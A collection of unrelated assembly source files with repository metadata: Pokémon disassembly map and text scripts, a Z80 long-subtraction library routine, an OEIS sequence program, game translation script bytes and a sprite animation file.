%1111110000101010,%1110111000000111,%1110000000000000 dc.w %1111111000010101,%1111110000000111,%1110000000000000 dc.w %1111111111111111,%1111111111111111,%1110000000000000 dc.w %1111111111111111,%1111111111111111,%1110000000000000 dc.w %1111111111111111,%1111111111111111,%1110000000000000 dc.w %1111111111111111,%1111111111111111,%1110000000000000 dc.w %1111111111111111,%1111111111111111,%1110000000000000 dc.w %0111111111111111,%1111111111111111,%1110000000000000 dc.w %0011111111111111,%1111111111111111,%1110000000000000 dc.w %0000000000000000,%0000000000000000,%0000000000000000 .DefaultTool: DEFICON_STR "SYS:System/DiskCopy"
48.452991
83
0.600106
fcf114bfed18ede0474c92d8a47ed380f926bfcf
3,248
asm
Assembly
maps/Route3.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
maps/Route3.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
maps/Route3.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
object_const_def ; object_event constants const ROUTE3_FISHER1 const ROUTE3_YOUNGSTER1 const ROUTE3_YOUNGSTER2 const ROUTE3_FISHER2 Route3_MapScripts: db 0 ; scene scripts db 0 ; callbacks TrainerFirebreatherOtis: trainer FIREBREATHER, OTIS, EVENT_BEAT_FIREBREATHER_OTIS, FirebreatherOtisSeenText, FirebreatherOtisBeatenText, 0, .Script .Script: endifjustbattled opentext writetext FirebreatherOtisAfterBattleText waitbutton closetext end TrainerYoungsterWarren: trainer YOUNGSTER, WARREN, EVENT_BEAT_YOUNGSTER_WARREN, YoungsterWarrenSeenText, YoungsterWarrenBeatenText, 0, .Script .Script: endifjustbattled opentext writetext YoungsterWarrenAfterBattleText waitbutton closetext end TrainerYoungsterJimmy: trainer YOUNGSTER, JIMMY, EVENT_BEAT_YOUNGSTER_JIMMY, YoungsterJimmySeenText, YoungsterJimmyBeatenText, 0, .Script .Script: endifjustbattled opentext writetext YoungsterJimmyAfterBattleText waitbutton closetext end TrainerFirebreatherBurt: trainer FIREBREATHER, BURT, EVENT_BEAT_FIREBREATHER_BURT, FirebreatherBurtSeenText, FirebreatherBurtBeatenText, 0, .Script .Script: endifjustbattled opentext writetext FirebreatherBurtAfterBattleText waitbutton closetext end Route3MtMoonSquareSign: jumptext Route3MtMoonSquareSignText FirebreatherOtisSeenText: text "Ah! The weather's" line "as fine as ever." done FirebreatherOtisBeatenText: text "It's sunny, but" line "I'm all wet…" done FirebreatherOtisAfterBattleText: text "When it rains," line "it's hard to get" cont "ignition…" done YoungsterWarrenSeenText: text "Hmmm… I don't know" line "what to do…" done YoungsterWarrenBeatenText: text "I knew I'd lose…" done YoungsterWarrenAfterBattleText: text "You looked strong." para "I was afraid to" line "take you on…" done YoungsterJimmySeenText: text "I can run like the" line "wind!" done YoungsterJimmyBeatenText: text "Blown away!" done YoungsterJimmyAfterBattleText: text "I wear shorts the" line "whole year round." para "That's my fashion" line "policy." done FirebreatherBurtSeenText: text "Step right up and" line "take a look!" done FirebreatherBurtBeatenText: text "Yow! That's hot!" done FirebreatherBurtAfterBattleText: text "The greatest fire-" line "breather in KANTO," cont "that's me." para "But not the best" line "trainer…" done Route3MtMoonSquareSignText: text "MT.MOON SQUARE" para "Just go up the" line "stairs." done Route3_MapEvents: db 0, 0 ; filler db 1 ; warp events warp_event 52, 1, MOUNT_MOON, 1 db 0 ; coord events db 1 ; bg events bg_event 49, 13, BGEVENT_READ, Route3MtMoonSquareSign db 4 ; object events object_event 26, 12, SPRITE_FISHER, SPRITEMOVEDATA_STANDING_UP, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 2, TrainerFirebreatherOtis, -1 object_event 10, 7, SPRITE_YOUNGSTER, SPRITEMOVEDATA_STANDING_LEFT, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 3, TrainerYoungsterWarren, -1 object_event 16, 3, SPRITE_YOUNGSTER, SPRITEMOVEDATA_SPINRANDOM_FAST, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_TRAINER, 1, TrainerYoungsterJimmy, -1 object_event 49, 5, SPRITE_FISHER, SPRITEMOVEDATA_SPINRANDOM_FAST, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_TRAINER, 3, TrainerFirebreatherBurt, -1
21.798658
148
0.788485
74be0bbe13f252143ad2945768d90a19a8ea82c5
922
asm
Assembly
scripts/Route15Gate2F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
scripts/Route15Gate2F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
scripts/Route15Gate2F.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
Route15Gate2F_Script: jp DisableAutoTextBoxDrawing Route15Gate2F_TextPointers: dw Route15GateUpstairsText1 dw Route15GateUpstairsText2 Route15GateUpstairsText1: text_asm CheckEvent EVENT_GOT_EXP_ALL jr nz, .got_item ld a, 50 ldh [hOaksAideRequirement], a ld a, CASCADEBADGE ldh [hOaksAideRewardItem], a ld [wd11e], a call GetItemName ld hl, wcd6d ld de, wOaksAideRewardItemName ld bc, ITEM_NAME_LENGTH call CopyData predef OaksAideScript ldh a, [hOaksAideResult] cp OAKS_AIDE_GOT_ITEM jr nz, .no_item SetEvent EVENT_GOT_EXP_ALL .got_item ld hl, Route15GateUpstairsText_4968c call PrintText .no_item jp TextScriptEnd Route15GateUpstairsText_4968c: text_far _Route15GateUpstairsText_4968c text_end Route15GateUpstairsText2: text_asm ld hl, Route15GateUpstairsText_49698 jp GateUpstairsScript_PrintIfFacingUp Route15GateUpstairsText_49698: text_far _Route15GateUpstairsText_49698 text_end
20.488889
40
0.841649
75b13389e17904889130f34f03ca6b17835e5de3
2,116
asm
Assembly
libsrc/z80_crt0s/crt0_long/l_long_sub.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/z80_crt0s/crt0_long/l_long_sub.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/z80_crt0s/crt0_long/l_long_sub.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; Z88 Small C+ Run Time Library ; Long functions ; ; djm 21/2/99 ; The old routine is fubarred! Written a new one now..but ; I'm mystified! PUBLIC l_long_sub ; dehl = primary ; stack = secondary, ret ; exit: dehl = secondary - primary .l_long_sub ; 100 cycles pop ix ; ix = ret address ld c,l ld b,h ; bc = primary LSW pop hl ; hl = secondary LSW or a sbc hl,bc ex de,hl ; de = result LSW ld c,l ld b,h ; bc = primary MSW pop hl ; hl = secondary MSW sbc hl,bc ex de,hl ; dehl = result jp (ix) ; 131 cycles ; exx ;2nd ; pop bc ; pop hl ; pop de ; push bc ; ld a,l ; exx ; sub l ; ld l,a ; exx ;1st ; ld a,h ; exx ;2nd ; sbc a,h ; ld h,a ; exx ;1st ; ld a,e ; exx ;2nd ; sbc a,e ; ld e,a ; exx ;1st ; ld a,d ; exx ;2nd ; sbc a,d ; ld d,a ; ret IF ARCHAIC ; 174 cycles .l_long_add ld b,h ;store lower 16 in bc temporarily ld c,l ld hl,2 add hl,sp ;points to hl on stack ld a,c sub a,(hl) inc hl ld c,a ld a,b sbc a,(hl) inc hl ld b,a ld a,e sbc a,(hl) inc hl ld e,a ld a,d sbc a,(hl) ld d,a ;Done the adding, now do some tidying up! exx pop bc ;return address pop hl ;discard entry long pop hl push bc ;dump return address back exx ld l,c ;get the lower 16 back into hl ld h,b ret ENDIF
21.373737
63
0.365312
1d0b94c15ba861838ed764e7190d9b8e1d639b96
582
asm
Assembly
programs/oeis/048/A048765.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/048/A048765.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/048/A048765.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A048765: Smallest factorial >= n. ; 1,2,6,6,6,6,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120,120 mov $1,1 lpb $0 add $1,1 div $0,$1 lpe seq $1,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). mov $0,$1
52.909091
371
0.695876
90b45145668b3a3223eea410d9251e99779a1f49
5,873
asm
Assembly
asm/scriptcode/intermission.asm
Dimedime-d/kptranslation
62ba88ac2e279ac8bf0539e61a8d5764bdc60c5a
[ "CC-BY-4.0" ]
3
2020-10-25T07:13:17.000Z
2021-11-02T15:47:14.000Z
asm/scriptcode/intermission.asm
Dimedime-d/kptranslation
62ba88ac2e279ac8bf0539e61a8d5764bdc60c5a
[ "CC-BY-4.0" ]
5
2021-03-01T02:45:02.000Z
2021-12-15T03:33:28.000Z
asm/scriptcode/intermission.asm
Dimedime-d/kptranslation
62ba88ac2e279ac8bf0539e61a8d5764bdc60c5a
[ "CC-BY-4.0" ]
null
null
null
.byte 0x04,0x00,0x01,0x00 .byte 0xC0,0x00,0x00,0x00 .byte 0x04,0x00,0x00,0x00 .byte 0x04,0x00,0x00,0x00 .byte 0x07,0x00,0x01,0x00 .byte 0x40,0x00,0x00,0x00 .byte 0x07,0x00,0x00,0x00 .byte 0x04,0x00,0x00,0x00 .byte 0x02,0x00,0x09,0x00 .word 0x08095A40 .byte 0x02,0x00,0x09,0x00 .word 0x080A3A38 .byte 0x02,0x00,0x09,0x00 .word 0x08095CB4 .byte 0x08,0x00,0x06,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x3F,0x00,0x00 .byte 0x08,0x00,0x00,0x00 .byte 0x08,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x08,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0C,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x40,0x10,0x00,0x00 .byte 0x09,0x00,0x14,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x09,0x00,0x14,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x09,0x00,0x14,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x09,0x00,0x14,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x09,0x00,0x0F,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x00,0x1C,0x03,0x03 .byte 0x09,0x00,0x00,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x1C,0xF6,0x0A,0x00 .byte 0x84,0x08,0x00,0x00 .byte 0x09,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0xA0,0xFE,0x0A,0x00 .byte 0xB0,0x04,0x00,0x00 .byte 0x09,0x00,0x02,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x50,0x03,0x0B,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x09,0x00,0x0E,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x09,0x00,0x08,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x1E,0x00,0x00,0x00 .byte 0x14,0x00,0x00,0x00 .byte 0x09,0x00,0x03,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x09,0x00,0x09,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x09,0x00,0x0F,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x00,0x1D,0x02,0x01 .byte 0x09,0x00,0x00,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x70,0x03,0x0B,0x00 .byte 0x50,0x03,0x00,0x00 .byte 0x09,0x00,0x01,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0xC0,0x06,0x0B,0x00 .byte 0xB0,0x04,0x00,0x00 .byte 0x09,0x00,0x02,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x70,0x0B,0x0B,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x20,0x00,0x00,0x00 .byte 0x09,0x00,0x0E,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x09,0x00,0x08,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x1E,0x00,0x00,0x00 .byte 0x14,0x00,0x00,0x00 .byte 0x09,0x00,0x03,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x09,0x00,0x09,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x09,0x00,0x0F,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x00,0x1F,0x01,0x02 .byte 0x09,0x00,0x00,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x90,0x0B,0x0B,0x00 .byte 0x31,0x0D,0x00,0x00 .byte 0x09,0x00,0x01,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0xC4,0x18,0x0B,0x00 .byte 0xB0,0x04,0x00,0x00 .byte 0x09,0x00,0x02,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x74,0x1D,0x0B,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x30,0x00,0x00,0x00 .byte 0x09,0x00,0x0E,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x09,0x00,0x08,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x1E,0x00,0x00,0x00 .byte 0x14,0x00,0x00,0x00 .byte 0x09,0x00,0x03,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x09,0x00,0x09,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0C,0x00,0x01,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x0E,0x00,0x00 .byte 0x08,0x00,0x06,0x00 .byte 0x40,0x00,0x00,0x00 .byte 0x08,0x3F,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x08,0x00,0x03,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x0D,0x00,0x00,0x00 .byte 0x2D,0x00,0x00,0x00 .byte 0x08,0x00,0x04,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x08,0x00,0x00,0x00 .byte 0x2D,0x00,0x00,0x00 .byte 0x01,0x00,0x2D,0x00 .byte 0x01,0x00,0x3C,0x00 loadCharsAndSfx s_intermission1 .byte 0x02,0x00,0x09,0x00 .word 0x08095C0C .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 loadCharsAndSfx s_intermission2 .byte 0x02,0x00,0x09,0x00 .word 0x08095C0C .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 loadCharsAndSfx s_intermission3 .byte 0x02,0x00,0x09,0x00 .word 0x08095C0C .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 loadCharsAndSfx s_intermission4 .byte 0x02,0x00,0x09,0x00 .word 0x08095C0C .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 loadCharsAndSfx s_intermission5 .byte 0x02,0x00,0x09,0x00 .word 0x08095C0C .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 loadCharsAndSfx s_intermission6 .byte 0x02,0x00,0x09,0x00 .word 0x08095C0C .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 loadCharsAndSfx s_intermission7 .byte 0x02,0x00,0x09,0x00 .word 0x08095C0C .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x08,0x00,0x03,0x00 .byte 0x0D,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x2D,0x00,0x00,0x00 .byte 0x08,0x00,0x04,0x00 .byte 0x08,0x00,0x00,0x00 .byte 0x10,0x00,0x00,0x00 .byte 0x2D,0x00,0x00,0x00 .byte 0x01,0x00,0x3C,0x00 loadCharsAndSfx s_intermission8 .byte 0x02,0x00,0x09,0x00 .word 0x08095C60 .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 loadCharsAndSfx s_intermission9 .byte 0x02,0x00,0x09,0x00 .word 0x08095C60 .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x00,0x01,0x00 .byte 0x0A,0x00,0x06,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x3C,0x00,0x00,0x00 .byte 0x0A,0x00,0x06,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x3C,0x00,0x00,0x00 .byte 0x0A,0x00,0x06,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x3C,0x00,0x00,0x00 .byte 0x0A,0x00,0x06,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x3C,0x00,0x00,0x00 .byte 0x09,0x00,0x06,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x3C,0x00,0x00,0x00 .byte 0x09,0x00,0x06,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x3C,0x00,0x00,0x00 .byte 0x09,0x00,0x06,0x00 .byte 0x02,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x3C,0x00,0x00,0x00 .byte 0x09,0x00,0x06,0x00 .byte 0x03,0x00,0x00,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x3C,0x00,0x00,0x00 .byte 0x01,0x00,0x3C,0x00 .byte 0x03,0x00,0x00,0x00
25.758772
31
0.779499
c43cf6d8d80acb2ab76dc9be692fa13b6358d882
391
asm
Assembly
oeis/321/A321539.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/321/A321539.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/321/A321539.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A321539: 3^n with digits rearranged into nonincreasing order. ; Submitted by Jamie Morken(r1) ; 1,3,9,72,81,432,972,8721,6651,98631,99540,777411,544311,9543321,9987642,98744310,76443210,964321110,988744320,7666422111,8876444310,65433321000,99865331100,98877443211,988654432221,988876444320,9888655432221 mov $1,3 pow $1,$0 seq $1,4186 ; Arrange digits of n in decreasing order. mov $0,$1
43.444444
209
0.797954
bd7502133d5de63d857a6e1e5da06b580b786175
111
asm
Assembly
gfx/pokemon/raticate/anim_idle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
gfx/pokemon/raticate/anim_idle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
gfx/pokemon/raticate/anim_idle.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
setrepeat 2 frame 0, 04 frame 3, 04 dorepeat 1 setrepeat 2 frame 0, 04 frame 1, 04 dorepeat 5 endanim
11.1
12
0.693694